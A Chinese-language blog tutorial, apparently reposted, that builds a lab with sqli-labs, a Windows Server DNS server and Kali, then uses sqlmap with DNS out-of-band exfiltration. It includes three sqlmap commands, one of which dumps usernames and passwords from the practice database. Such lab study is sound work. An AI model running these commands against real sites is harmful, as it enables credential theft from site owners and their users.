当前位置:网站首页>sqlmap结合dnslog快速注入

sqlmap结合dnslog快速注入

2022-08-10 23:35:00 抱小猫

如何使用sqlmap结合dnslog快速注入呢

首先我们需要三台虚拟机,一台Windows10作为客户端,Windows server2008作为服务器,还有一台kali。

第一步:先在Windows10上下载phpstudy小皮面板,然后后下载sqli-labs靶场,并将sqli-labs靶场文件放入WWW目录下

第二步:修改数据库配置文件,将数据库的my.ini中添加secure_file_priv="",方便后面读取文件

第三步:在Windows server 2008上搭建DNS服务器

单击角色-->添加角色-->点击服务器角色-->选中DNS服务器-->下一步-->安装

右键查看WIN-JGVPSZCQ80R的属性-->监视-->勾上两个测试类型-->确定

 新建区域:右键点击新建-->下一步-->自定义一个区域名称-->下一步-->完成

 新建主机ns1.ceshi.top,这样填上kali虚拟机的IP地址

 再创建一个泛解析:

 第四步:在Windows10上配置DNS服务器的IP 

 第五步:使用Windows10pingDNS中创建的域名,并在kali中查看

 

 第六步:在Windows server2008中创建转发器

 使用Windows10ping转发器的域名,并在kali中查看

第七步:sqlmap使用DNSlog外带注入

 我们使用sqlmap找到数据库中的表名

sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D security --tables

 根据users表名找表中的列

sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security" -t "users" --columns

取出users表中的数据

sqlmap -u "http://192.168.112.139/sqli/sql/Less-8?id=1" --technique=T --dns-domain "hello.top" -D "security" -t "users" -C "username,password" --dump
原网站

版权声明
本文为[抱小猫]所创,转载请带上原文链接,感谢
https://blog.csdn.net/qq_52016943/article/details/126163173